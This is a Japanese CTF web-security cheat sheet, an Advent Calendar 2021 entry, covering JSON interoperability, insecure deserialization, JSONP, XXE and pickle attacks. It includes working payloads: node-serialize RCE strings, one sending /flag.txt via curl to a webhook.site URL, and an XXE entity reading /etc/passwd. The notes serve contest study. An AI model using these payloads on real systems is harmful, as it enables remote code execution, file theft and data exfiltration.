この記事はCTFのWebセキュリティ Advent Calendar 2021の4日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
データ形式
JSON
- インジェクション/JSON Interoperability
- JSONの構造を書き換えて属性を追加したり、同一キーを複数個入れることでSmugglingを狙うものがある
- An Exploration of JSON Interoperability Vulnerabilities
{"id": 1, "id": 2}
がJSONパーサーによって解釈違いを引き起こす
- Insecure Deserialization
- nodejsのnode-serialize
- ベースを作って、書き換えたい部分を即時実行関数式に変換する
- CTFtime.org / Zh3r0 CTF V2 / sparta
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error, stdout, stderr) {console.log(stdout) }); }()"}
city=_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"output=$(cat /flag.txt);curl webhook.site/9d7268ea-42bd-48b3-9ede-0be524e773e1?out=$output\",function(error, stdout, stderr) { console.log(stdout)});}()
- 実行して適当な所に送るやつ
{"username":{"toString":"_$$ND_FUNC$$_(()=>{throw require('child_process').execSync('cat /flag.txt')})()"}}
- nodejsのjavascript-serializer
- toStringを入れることで文字列として使用される場合に任意コマンド実行される
"evil": { "toString": { "___js-to-json-class___": "Function", "json": "console.log('hello!');return'res';" } }
- nodejsのnode-serialize
- JSONP
- JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-2013-1297)に注意 | 徳丸浩の日記
- XSSI and JSONP leaks · EdOverflow/bugbountywiki Wiki
- ここにあるように適当にCSRFできそうなサイトを立ち上げて踏ませれば、相手権限で得たレスポンスを抜き取れる
- JSONPは危険なので禁止 – yohgaki's blog
- JWT → 別途
- メモ
XML
- XMLそのものとして使われる場合もあるし、RSS,SAML,SVG,Microsoft Officeファイルの一部として現れても来る
- XXE
- XMLの脆弱性と言えばコレ。XMLの外部エンティティ参照を対象とした脆弱性を狙う攻撃であり、LFIをしたり、RCEをしたり、SSRFをしたりできる
- LFI
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
と書いて&xxe;
を埋め込む- エラー経由でのLFI
- Full Local File Read via Error Based XXE using XLIFF File | pwn.vg
- エラーが出る場所があれば、そこに埋め込むことでエラーメッセージから情報流出させることができる
- RCE
- まだ、自分はやったことないが、RCEできるらしい。
expect://id
でidコマンドが動くかを確かめる- From XXE to RCE with PHP/expect — The Missing Link - Airman - Medium
- SSRF
- Full Local File Read via Error Based XXE using XLIFF File | pwn.vg
- 以下で反応が来るかどうかでSSRFわかる
- Full Local File Read via Error Based XXE using XLIFF File | pwn.vg
- DoS
- デシリアライズ時に結果が膨大となるボムが存在する
- XML Bombあるいはeneity explosionと呼ばれる。
- Algorithmic complexity attackの一種で、組合せ爆発を引き起こすことで負荷をかける。
- Billion laughs attack - Wikipedia
- 多段XXE
- XMLを含むファイルを入れ込む時
- xmlに含まれるような文字列を含んだファイルをfile://とかでインジェクションしようとすると失敗する。
- What Are XML External Entity (XXE) Attacks
- ここに外部DTDファイルを読み込むことで回避する方法が紹介されている。
- XXE on JSON Endpoints
- SVG CTFtime.org / P.W.N. CTF / SVG2PNG / Writeup
- docx
- docemを使ってpackingし直す
- ベースのdocxファイルをzip拡張子に変えて解凍
- 中身をXXEで改変
- docemを使って再pack
python ./docem.py -s evil -sx docx
- evilはevilフォルダでtempフォルダに結果が出力される
- wavファイルでXXE
- WordPress の XXE(CVE-2021-29447) やる - まったり技術ブログ%E3%82%84%E3%82%8B)
- wavファイルにはxmlでメタデータを記載するiXMLチャンクというのが指定できる。ここでXXEする
- ファイル出力されてこないのでBlind XXEをしてOOBの要領で情報を抜き出す
- docemを使ってpackingし直す
- Blind XXE
- 参考
- 詳解セキュリティコンテストのXXEが日本語で最も詳しいと思う
- わかりやすすぎる https://www.slideshare.net/ebihara/phpcon-20
- XXE攻撃 基本編 | MBSD Blog
- EXPLOITING XXE IN FILE UPLOAD FUNCTIONALITY
- XXE in IIS/.NET: SANS Penetration Testing | Exploiting XXE Vulnerabilities in IIS/.NET | SANS Institute
- Insecure Deserialization
- ライブラリによるかもしれないが、RCEまでつなげるにはGadget Chainをつなげる必要がある
- GadgetというのはInsecure Deserializationによって呼出可能で、かつ、コマンド実行につなげることができるクラスやライブラリのことを言う
- なのでRCEできるのは、Insecure Deserialization脆弱性がある、かつ、Gadget Chainとして呼出可能ならGadgetが存在する場合になる
- Gadgetという言葉の意味する所の把握が難しいが、Prototype Pollutionとかでも出てくるからふんわり意味を理解しておくと情報が入ってきやすくなる
- SAML Injection
他のInsecure Deserialization
- pythonのpickle
- pickleとはpythonのインスタンスをシリアライズしてくれるもの
- OWASP Insecure Deserialization with Python | David Mata blog
not enough values to unpack (expected 3, got 2)
というエラーはpickleっぽい__reduce__
メソッドはpickle.loadするときに発動して、文字列に入れ替わる- pickle.load(ここ!)に対してインジェクションできれば、発動させられる
- phpのserialize/unserialize
- Phar, PHPアーカイブ
- ASP.NET
- Unsafe ViewState Deserializationがあるっぽい
- Unsafe Java Object Deserialization
- .NETのときと同様にgadget chainしてコード実行に持ち込む
- Java Deserialization — From Discovery to Reverse Shell on Limited Environments | by Francesco Soncina (phra) | ABN AMRO — Red Team | Medium
- Javaの安全でないデシリアライゼーションの攻撃に、ysoserialがよく使用される https://github.com/frohoff/ysoserial
- Rails